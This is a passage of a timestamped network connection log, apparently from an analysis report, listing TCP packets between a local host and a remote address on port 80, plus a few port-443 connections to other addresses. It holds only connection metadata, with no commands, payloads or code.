Nov 28, 2024 06:48:30.392247915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.392304897 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.392340899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.392396927 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.393589020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.393615007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.393672943 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.393708944 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.394855976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.394929886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.394959927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.395061016 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.396167040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.396231890 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.396269083 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.396312952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.397500038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.397557974 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.397588968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.397630930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.398802996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.398874044 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.398926973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.398969889 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.400098085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.400166988 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.400199890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.400243044 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.401448965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.401526928 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.401577950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.401623011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.402719975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.402801991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.402833939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.402878046 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.404038906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.404138088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.404191017 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.405359983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.405435085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.405467987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.405514002 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.405832052 CET	443	49793	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:30.406161070 CET	49793	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:30.406171083 CET	443	49793	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:30.406652927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.406699896 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.406754971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.406795979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.407301903 CET	443	49793	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:30.407989025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.408040047 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.408113003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.408154964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.409322023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.409383059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.409393072 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.409420013 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.409440994 CET	49793	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:30.409720898 CET	443	49793	162.159.61.3	192.168.2.5
Nov 28, 2024 06:48:30.410712004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.410798073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.410878897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.410924911 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.411891937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.411958933 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.457844019 CET	443	49781	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:30.457914114 CET	443	49781	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:30.457963943 CET	49781	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:30.458359003 CET	49781	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:30.458369017 CET	443	49781	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:30.458451033 CET	49781	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:30.458456993 CET	443	49781	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:30.466471910 CET	49808	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:30.466491938 CET	443	49808	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:30.466643095 CET	49808	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:30.467189074 CET	49808	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:30.467201948 CET	443	49808	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:30.501586914 CET	49798	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:30.501606941 CET	49793	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:30.528315067 CET	49809	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:30.528357029 CET	443	49809	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:30.528428078 CET	49809	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:30.529005051 CET	49798	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:30.529314995 CET	49809	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:30.529335976 CET	443	49809	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:30.540044069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.540106058 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.540209055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.540254116 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.540487051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.540533066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.540570974 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.540630102 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.541455984 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.541574001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.541712046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.541768074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.542434931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.542499065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.542534113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.542581081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.543443918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.543490887 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.543514013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.543554068 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.544387102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.544440985 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.544485092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.544653893 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.545348883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.545401096 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.545527935 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.545577049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.546370029 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.546420097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.546488047 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.546488047 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.547326088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.547379017 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.547441959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.547485113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.548285961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.548342943 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.548398972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.548468113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.549294949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.549365044 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.549411058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.549457073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.550266027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.550319910 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.550352097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.550458908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.551243067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.551301956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.551342964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.551487923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.552208900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.552268028 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.552380085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.552428007 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.553190947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.553261995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.553297043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.553344011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.554172993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.554269075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.554274082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.554318905 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.555157900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.555233955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.555269957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.555324078 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.556123972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.556185961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.556221962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.556272030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.557112932 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.557176113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.557343006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.557403088 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.558142900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.558182955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.558207035 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.558234930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.559084892 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.559128046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.559143066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.559180975 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.560065985 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.560128927 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.560214996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.560266972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.561085939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.561163902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.561167955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.561235905 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.562010050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.562057972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.562125921 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.562167883 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.562975883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.563041925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.563076973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.563262939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.563956022 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.564016104 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.564071894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.564121008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.564965010 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.565025091 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.565161943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.565212011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.565922022 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.565993071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.566024065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.566073895 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.566921949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.566996098 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.567033052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.567080975 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.567890882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.567967892 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.568026066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.568873882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.568943024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.568994999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.569036961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.569885015 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.569938898 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.570055962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.570105076 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.570817947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.570877075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.570880890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.570930004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.571335077 CET	443	49798	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:30.571808100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.571875095 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.571877003 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.571918964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.572812080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.572891951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.572917938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.572966099 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.573874950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.573962927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.573976994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.574002028 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.574733973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.574779987 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.574815989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.574867964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.575722933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.575819969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.575866938 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.576752901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.576807976 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.576908112 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.576953888 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.577696085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.577765942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.577788115 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.577816963 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.578665018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.578720093 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.578893900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.578969002 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.579644918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.579708099 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.579744101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.579785109 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.580629110 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.580702066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.580739975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.580820084 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.581589937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.581644058 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.581665039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.581712008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.582562923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.582665920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.582678080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.582710028 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.583554029 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.583651066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.583674908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.583724022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.584611893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.584630966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.584676981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.584702015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.585530996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.585587978 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.585613012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.585709095 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.586509943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.586579084 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.586631060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.586705923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.587491035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.587600946 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.587632895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.587708950 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.588468075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.588526011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.588567972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.588593006 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.589432001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.589536905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.589593887 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.590435982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.590506077 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.590537071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.590709925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.591337919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.591388941 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.741233110 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.741297960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.741400957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.741502047 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.741707087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.741755962 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.741904974 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.742130995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.742669106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.742784023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.742811918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.742856979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.743665934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.743736982 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.743765116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.743809938 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.744626045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.744664907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.744741917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.745068073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.745810986 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.745867968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.745913029 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.745954990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.746633053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.746671915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.746695042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.746721983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.747591019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.747656107 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.747656107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.747701883 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.748572111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.748662949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.748691082 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.748790026 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.749548912 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.749600887 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.749614954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.749650955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.750521898 CET	80	49750	185.215.113.206	192.168.2.5
